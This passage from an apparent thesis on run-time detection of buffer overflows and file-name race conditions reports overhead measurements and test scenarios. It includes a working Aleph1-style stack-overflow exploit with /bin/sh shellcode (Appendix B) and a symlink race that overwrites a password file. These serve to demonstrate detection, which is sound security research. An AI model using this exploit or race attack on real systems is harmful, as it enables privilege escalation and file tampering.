Base Reduced
Maximum
binding
degree
Binding
set size
Binding
set size
ls 1 1 18
grep 0 0 450
tar 1 7,697 8,018
enscript 1 6 40
gzip 2 2 3
lpr 2 5 31
make 553 867 1,025
indent 0 0 8
latex 11 72 118
nd 15 8,974 34,799
emacs 44 117 1,575
xpdf 2 144 151
ftp 4 6 16
telnet 3 4 9
man 25 40 114
netscape 32 42 58
ping 2 2 5
mount 3 3 24
traceroute 2 3 7
chfn 3 4 24
Table 6.4: The binding set size of the reduced algorithm, the binding set size of the base algorithm
and the maximum binding degree of the base algorithm.CHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 95
multiple processes. Also, processes read a set of conguration les at startup, which became
vulnerable intervals as well.
Worst-case space overhead of the base algorithm
As discussed in section 6.6.1, the space overhead of the base algorithm depends only on the max-
imum binding degree, i.e., the maximum number of overlapping vulnerable intervals. This implies
that in the presence of an unbounded number of overlapping vulnerable intervals, the size of the
binding table is also unbounded. The following code illustrates this.
char file[MAX_FILE_SIZE];
for (i=0; i<num_iter; i++) {
sprintf(file, ``tempfile%d'', i);
check(file); // vulnerable interval
} // entry for ith pathname
...
for (i=0; i<num_iter; i++) {
sprintf(file, ``tempfile%d'', i);
use(file); // vulnerable interval
} // exit for ith pathname
This code can overow the binding table if the check operations in the rst loop ll up the
binding table (before they go out of scope and are removed from the binding table in the second
loop).
Note that this is possible because the code creates many dierent, nonexistent pathnames. If
a program refers only to existing pathnames, then the size of the binding table is bounded by the
number of entries of the le system name space. Our experiment with find in a typical workstation
indicates an upper bound in practice of only 2.4 Mbytes, even if we were to assume that all the
pathnames in the tested platform are vulnerable intervals, which overlap completely.
If the code above is crafted in an attempt to over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process group it belongs to. Therefore the question is, does this type of code occur in real programs?
While it is indeed conceivable, it is unlikely for the following reason: a le with the generated
name is most likely to be a temporary le with a limited scope, because the le system is a nite
resource. Therefore, the duration of the vulnerable interval is also likely to be limited and would go
out of scope before many other vulnerable intervals become active. For this reason, we think that
even long-running programs that refer to an unbounded number of dierent, nonexistent pathnames
(such as sendmail [91] that creates temporary les) would not incur much space overhead in the
base algorithm.
sendmail would however eventually overow the binding table in the reduced algorithm, since
out-of-scope binding table entries are never deleted in the reduced algorithm. An ad hoc solution
for the reduced algorithm would be to have the binding table of xed size, and add/delete entries
in FIFO fashion. However, this could purge not only out-of-scope table entries but also in-scope
entries, thereby increasing the false negative rate of the reduced algorithm.
6.6.2 Time overhead
The overhead of each intercepted function was about 10 microseconds on average. To measure this,
we ran each function in a tight loop (loop count is 1,000,000) in the intercepted and not intercepted
settings. The overhead is the dierence between the two, divided by the loop count.
Time overhead of the reduced algorithm was measured by running each program ten times and
taking the average.
Metrics for computing the time overhead of the base algorithm
The time overhead is the function of the number of check and use operations called by the process.
However, our experiment shows that the time overhead of the reduced algorithm correlates with
the binding set size (the number of table entries), except lpr. We think that this is because each
check/use operation was called with low frequency (note that this would not be the case for statefulCHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 97
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le operations, because it is common that a stateful le function with the same le descriptor is
called with high frequency; for example, an open() followed by multiple read()).
Therefore we also estimate the time overhead of the base algorithm as a function of the binding
set size. Slowdown of the base algorithm was computed as follows (R is the reduced algorithm and
B is the base algorithm).
binding set sizeR : slowdownR = binding set sizeB : slowdownB
Figure 6.4 shows the time overhead of the base and the reduced algorithm from 10 non-interactive
programs. Figure 6.5 shows the binding set sizes of the base and the reduced algorithm, illustrating
that this correlates with gure 6.4 except lpr.
6.7 Discussions on the relaxation of the correctness relation
The advantages of the base algorithm (i.e., direct implementation of the correctness relation) are
that it is free from false positives/negatives and is ecient. The base algorithm however requires
program contextual information (the vulnerable intervals and the group of cooperating processes).
We think that they would require static analysis or user specication; while the former is generally
undecidable [20, 35], the latter decreases the transparency of the solution. For this reason we think
that directly implementing the base algorithm is not an attractive option.
The reduced algorithm does not require program contextual information. The disadvantages
are that it introduces the possibility of false positives/negatives and greater run-time overhead.
Nevertheless, the results of our experiments were encouraging in that they also incurred very low
run-time overhead (168 Kbytes of space overhead and 5.2% of time overhead on average) except for
a few extreme cases, and we did not observe any false positives or negatives during the experiments.
The reduced algorithm not only serves as a simulation of the base algorithm but it would be viableCHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 99
Scope False positives /
negatives
Multiple pro-
cesses protec-
tion
Overhead
RaceGuard [24] temporary le
race
y y 0.2 - 0.4%
Noninterference [41] protects priv-
ileged process
from unprivi-
leged ones
y y unknown
Our solution TOCTTOU
binding aws
y y 0 - 8.6%
Table 6.5: Accuracy features of race condition solutions.
as a detection tool in itself.
The maximum binding degree of the base algorithm was under 50 for all programs (except make).
To accommodate 50 entries, 3000 bytes are sucient for the binding table. We think that the reduced
algorithm can be enhanced further by making its binding table a xed size (such as 3000 bytes) and
by adding/deleting entries in rst-in rst-out order (as with RaceGuard). With this enhancement
we can reduce the space overhead to close to that of the base algorithm. This does not reduce
the time overhead, which however seems negligibly low already. This could however purge not only
out-of-scope table entries but also in-scope entries, thereby increasing the false negative rate.
6.8 Accuracy
Table 6.5 shows features of our approach and well-known, dynamic solutions so as to compare their
accuracy (general descriptions of them are found in section 2.2.2).
The scope of protection of our solution is the broadest. It protects TOCTTOU binding aws in
general, while other solutions protect subset of TOCTTOU binding aws.
The possibility of false positives/negatives of our solution is smaller than those of other solutions.
Our solution is derived from an inherently accurate algorithm, and even the relaxed algorithm is
highly accurate in practice. However, other solutions compromise their scope of protection fromCHAPTER 6. RACE CONDITION IN THE FILE NAME SPACE 100
the start, and their solution characteristics are considerably dierent from the characteristic of the
TOCTTOU binding aws.
In sum, our solution detects the TOCTTOU binding aws highly accurately, while other solutions
only detect subsets of the TOCTTOU binding aws.Chapter 7
Testing
In this chapter, we show examples of a buer overow attack and an attack on race condition on
the le name space, and how they are detected by our solutions presented in chapter 5 and 6. For
each scenario, we show a program vulnerable to the aw, an attack scenario, and how it is detected
by our solution.
7.1 Buer overow detection
7.1.1 A vulnerable program
The program below is vulnerable to buer overow. If argv[1] contains than 512 characters then
strcpy() will overow the buf.
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int
main (int argc, char **argv)
{
char buf [512];
if (argc > 1)
strcpy (buf, argv [1]);
return 0;
}
7.1.2 Exploit scenario
The program in appendix B exploits the buer overow vulnerability in the program above. The
exploit program forks the vulnerable program, overows it with a command-line argument, and
spawns a shell. If the vulnerable program is privileged then a root shell is spawned.
# ./exploit
sh-2.05a#
7.1.3 Detection scenario
The following commands compile the vulnerable program with the buer overow detection enabled,
intercept the C library, and run the exploit program.
1. bofmake is a script le that transparently intercepts make program and invokes our solution,
to enable the type table generation during the compilation.
2. export species that the range-checking shared library is preloaded when programs are exe-
cuted, so that the range-checking library intercepts the C library.
Instead of being overowed, strcpy() in the vulnerable program is intercepted by the range
checking routine, which then detects the buer overow condition, reports it, and terminates theCHAPTER 7. TESTING 103
execution.
# bofmake
# export LD_PRELOAD=/usr/lib/libwrap.so
# ./exploit
*** ALERT: buffer overflow error ***
in strcpy, buffer size (512) < data size (811)
#
7.2 Detection of race condition on the le name space
7.2.1 A vulnerable program
The shell program below is vulnerable because there is a race condition between the test and the
echo commands. The echo is supposed to create (previously nonexistent) tmpfile and write \tmp-
le data" to it.
#!/bin/sh
# file name: race.sh
if ! test -e tmpfile
then
sleep 5
echo "tmpfile data" > tmpfile
fi
7.2.2 Exploit scenario
The following commands run the vulnerable script, and create a symbolic link named \tmple"
pointing to the password le. The eect of the exploit is that the vulnerable program follows the
symbolic link and overwrites the password le instead of creating a new, temporary le.
Note that the symbolic link has to be created within the the vulnerable timing interval (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seconds between the test and the echo in race.sh) for this exploit to be eective.
# ./race.sh &
# ln -s passwd tmpfile
Below is the content of the password le before the exploit.
# cat passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
#
Below is the content of the password le after the exploit.
# cat passwd
tmpfile data
#
7.2.3 Detection scenario
The following commands intercept system calls and the C library functions, run the vulnerable
script, and create a symbolic link.
1. insmod loads the system-call intercepting kernel module.
2. export species that binding-checking shared library is preloaded.
Instead of following the symbolic link and overwriting the password le, the vulnerable program
is intercepted by the binding checking routine, which then detects the le race condition on tmpfile,
reports it, and terminates the execution.CHAPTER 7. TESTING 105
# insmod /usr/local/bin/race_module.o
# export LD_PRELOAD=/usr/lib/libwrap_race.so
# ./race.sh &
# ln -s passwd tmpfile
# *** ALERT: race anomaly ***
on binding of file 'tmpfile'
#Chapter 8
Conclusions and future work
Existing security measures such as independent solutions and intrusion detection systems compro-
mise either accuracy or compatibility. Independent solutions for specic kinds of aws are unaware
of each other and thus are potentially incompatible. Intrusion detection systems rely on abstract
solution characteristics that are not intrinsic to any of the aws, thus are inherently inaccurate. No
single solution is capable of detecting all the aws so multiple security measures may be desirable,
but aggregate use of them may not be feasible due to incompatibility or adequate due to inaccuracy.
To address this problem, we presented a taxonomy of security aws that classies program
vulnerabilities into nite number of error categories, and presented a run-time security mechanism
that can produce solutions for many of these error categories in a modular fashion.
The proposed mechanism augments a program with process state information ignored by the
compiler and system library functions, and uses it to check the integrity of the running program
when system library functions are called. Solutions produced from this uniform mechanism are
tightly coupled each other. By ensuring that they are independent and do not alter the structure
of the program, process, and the native computing system, they can be made compatible and thus
readily deployed or integrated. Chapter 3 discusses the restrictions in producing solutions to make
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them compatible, which are the responsibility of the developers.
To ensure the accuracy, we produce solutions that closely match the characteristics of the target
error categories. Our approach for this is to focus only on the error categories whose characteristics
can be dened in terms of violations of process integrity (we call such characteristics correctness
relations). Due to the accuracy of each solution, we can globally assess the security of computing
system (i.e., which error categories are detected by the currently deployed solutions and which are
not).
The thesis of this work is that the proposed approach produces accurate solutions for many
error categories. We proved that we can produce accurate solutions from categories whose error
characteristics can be dened in terms of program context-independent correctness relations. We
proved that this approach can cover many error categories, by developing a classication of program
security aws and nding correctness relations for many of the error categories. We found correctness
relations for 33% of total error categories (which account for 56% of total program vulnerabilities
in our database). Also, as chapter 6 shows, a program context-dependent correctness relation may
be relaxed into a context-free one depending on the expertise of the developers, which may further
broaden the coverage of the total error space.
We implemented solutions for the buer overow and the race condition in the le name space.
The results of experiments show that the accuracy and the run-time overhead are superior to those
of most existing solutions. Our two implementations already cover 38.5% of the total program
vulnerabilities.
There are a few issues and ideas we have not explored yet, which will be our future work. Firstly,
ensuring the compatibility of produced solutions is the responsibility of the developers. We plan to
investigate for a way to automatically ensure the compatibility of produced solutions.
Secondly, developers are responsible for manually identifying program context-independent cor-
rectness relations of the target error categories: it currently is an \art" of practitioners. We plan toCHAPTER 8. CONCLUSIONS AND FUTURE WORK 108
study for ways to methodically derive correctness relations from error categories.
Thirdly, the current taxonomy is Linux specic, thus needs to be expanded to reect program
vulnerabilities in Windows environment and other types of computing environment that are signi-
cantly dierent from Linux.
Fourthly, we will assess the possibility of using static analysis to augment our approach. We
excluded static analysis due to the inherent complexity [20, 35] and the lack of static analysis tools
that are ecient and reliable. Nevertheless, possible advantages of using static approach should not
be ignored. For instance, static analysis may be useful for the buer overow detection: if the size
of the data to be copied can be statically determined, it may be possible to intercept copy functions
selectively, excluding the copy functions whose data size can be determined at compile time.
Lastly, our relaxed solution of detecting race condition in the le name space needs to be tested
further with various programs to study the false positive/negative rate and run-time overhead.
8.1 Summary of contributions
1. Global and modular approach of detecting security aws
We consider the total error space from the outset, and address each error category in a modular
fashion. We can globally assess the security of the computing system because we know which
error categories are covered by the solutions currently deployed in the system and which are
not.
2. An accurate and compatible approach
Our approach can detect many kinds of security aws accurately and systematically. Each
solution is not only accurate but is potentially compatible with other solutions and the native
computing system.Appendix A
Generated buer range-checking
functions
#include <stdio.h>
#include <stdlib.h>
#include "myheader.h"
static void ctor() __attribute__ ((constructor));
static char * (*orig_strcpy)(char * dest , const char * src );
static char * (*orig_fgets)(char * buf , int n , FILE * fp );
static void ctor()
{
orig_strcpy = dlsym (RTLD_NEXT, "strcpy");
orig_vsprintf = dlsym (RTLD_NEXT, "vsprintf");
orig_fgets = dlsym (RTLD_NEXT, "fgets");
}
char *
strcpy (char * dest , const char * src )
{
int size, *id, srcid;
char *type, srctype, *r;
size = lookup_type_table ((long *) dest, &type, &id);
get_src ((long *) src, &srctype, &srcid);
if (size > ((int) strlen (src)) || size == SIZE_UNKNOWN) {
r = orig_strcpy ( dest, src);
if (type) {
*type = srctype;
*id = srcid;
}
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return r;
}
else {
log_bound_error (srctype, srcid);
r = orig_strcpy ( dest, src);
if (type) {
*type = srctype;
*id = srcid;
}
return r;
}
}
int
sprintf (char * str , const char * format , ...)
{
va_list arg;
int size, *id, srcid;
char *type, srctype, *r;
size = lookup_type_table ((long *) str, &type, &id);
va_start (arg, format);
r = orig_vsprintf ( str, format, arg);
va_end (arg);
if (size > ((int) strlen (str)) || size == SIZE_UNKNOWN) {
*type = SRCTYPE_FORMAT;
*id = 0;
return r;
}
else {
log_bound_error (SRCTYPE_FORMAT, 0);
*type = SRCTYPE_FORMAT;
*id = 0;
return r;
}
}
char *
fgets (char * buf , int n , FILE * fp )
{
int size, *id, srcid;
char *type, srctype, *r;
size = lookup_type_table ((long *) buf, &type, &id);
r = orig_fgets ( buf, n, fp);
if (size > ((int) strlen (buf)) || size == SIZE_UNKNOWN) {
*type = SRCTYPE_UNKNOWN;
*id = 0;
return r;
}
else {
log_bound_error (SRCTYPE_UNKNOWN, 0);
*type = SRCTYPE_UNKNOWN;
*id = 0;
return r;
}
}Appendix B
Program that exploits buer
overow
/*
proof-of-concept exploit program
--------------------------------
aleph1's classic buffer overflow code (Phrack 7(49) '96)
1) construct an eggcode [NNNNN][SSSSS][AAAAA]
2) fork a vulnerable program with the eggcode as a
command-line argument
(mem bottom, (mem top) * stack grows down
stack top)
[ buf ][fp][ret] ... <-- stack layout
--------------------------
[NNNNNNN][SSSSSS][AAAAAAA] <-- we overflow the stack like this
^ |
| |
+----------------+
fp : saved frame pointer
ret : saved return address
N : no-op
S : shellcode
A : estimated buffer address
type-assisted buffer overflow detection system
Kyung-suk Lhee, 5/29/04
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*/
#include <stdio.h>
#include <unistd.h>
#define BUF_SIZE 812 // depends on the system (this worked on redhat 7.3)
#define OFFSET 1000 // ditto (try other values if this doesn't work)
#define NOP 0x90
char shellcode [] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long
stack_ptr ()
{
__asm__("movl %esp,%eax");
}
int
main (int argc, char **argv)
{
char *buf, *ptr;
long *addr_ptr, addr;
int i;
buf = (char *) malloc (BUF_SIZE);
addr = stack_ptr () - OFFSET; // estimate of the buf address
ptr = buf;
addr_ptr = (long *) ptr;
for (i = 0; i < BUF_SIZE; i += 4) // fill estimated buf addr
*(addr_ptr++) = addr;
for (i = 0; i < BUF_SIZE / 2; i++) // fill no-op's
buf [i] = NOP;
ptr = buf + ((BUF_SIZE / 2) - (strlen (shellcode) / 2));
for (i = 0; i < strlen (shellcode); i++) // fill shellcode
*(ptr++) = shellcode [i];
buf [BUF_SIZE - 1] = '\0';
execl ("./vuln", "vuln", buf, 0); // fork vulnerable program
return 0;
}Appendix C
Experiment results of the race
condition detection
The programs were tested as follows.
1. ls was run on /usr/bin directory containing 1910 les.
2. grep searched 435 les.
3. tar was run on Linux source directory containing 7993 les and directories.
4. enscript converted a text le of size 1M byte to a postscript.
5. gzip compressed a le of size 126M byte.
6. lpr printed a le of size 2.8K byte.
7. make compiled GNU enscript-1.6.1 source distribution containing 371 les and directories.
8. indent indented a C source le of size 60K byte.
9. latex was run on a le of size 23K byte.
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10. find / -name kyung searched over the entire le system.
11. emacs implicitly accesses le in /usr/share/emacs directory that contains 1169 les and
directories.
12. xpdf displayed a pdf le of size 350K byte.
13. ftp and telnet were tested by logging in to the server and logging out.
14. man paged a manual page, which was then scrolled to the end.
15. netscape opened a web page.
16. ping, mount, traceroute, and chfn are setuid programs.APPENDIX C. EXPERIMENT RESULTS OF THE RACE CONDITION DETECTION 115
Program
Space overhead of base
algorithm
Space overhead
of reduced algo-
rithm
Program run time Time overhead
Binding
set
size
Max.
bind-
ing
degree
Binding
table
size
Binding
set
size
Binding
table
size
Interc-
epted
Native Reduced
algo-
rithm
Base
algo-
rithm
ls 1 1 60
bytes
18 1 k
bytes
0.03
sec
0.03
sec
0% 0%
grep 0 0 0 450 27 k 0.18 0.21 0% 0%
tar 7,697 1 60 8,018 699 k 21.2 19.3 9% 8.6%
enscript 6 1 60 40 2.6 k 0.53 0.54 0% 0%
gzip 2 2 120 3 203 45 45.3 0% 0%
lpr 5 2 120 31 2 k 0.03 0.027 11% 1.7%
make 867 553 33.1 k 1,025 77 k 27 26.2 3% 2.5%
indent 0 0 0 8 565 0.02 0.02 0% 0%
latex 72 11 660 118 7 k 47.7 47.1 1% 0.6%
nd 8,974 15 900 34,799 2.4 M 5.8 4.5 28% 7.2%
emacs 117 44 2.6 k 1,575 124 k N/A N/A N/A N/A
xpdf 144 2 120 151 6.8 k N/A N/A N/A N/A
ftp 6 4 240 16 832 N/A N/A N/A N/A
telnet 4 3 180 9 456 N/A N/A N/A N/A
man 40 25 1.5 k 114 6.7 k N/A N/A N/A N/A
netscape 42 32 1.9 k 58 3.4 k N/A N/A N/A N/A
ping 2 2 120 5 246 N/A N/A N/A N/A
mount 3 3 180 24 1.5 k N/A N/A N/A N/A
traceroute 3 2 120 7 335 N/A N/A N/A N/A
chfn 4 3 180 24 1.7 k N/A N/A N/A N/A
min. 0 0 0 3 203 N/A N/A 0% 0%
max. 8,974 553 33.1 k 34,799 2.4 M N/A N/A 28% 8.6%
average 899 35 2.1 k 2,324 168 k N/A N/A 5.2% 2%
median 6 3 240 40 2.6 k N/A N/A 1% 0.6%
Table C.1: Results of the experiments on the race condition detection.Bibliography
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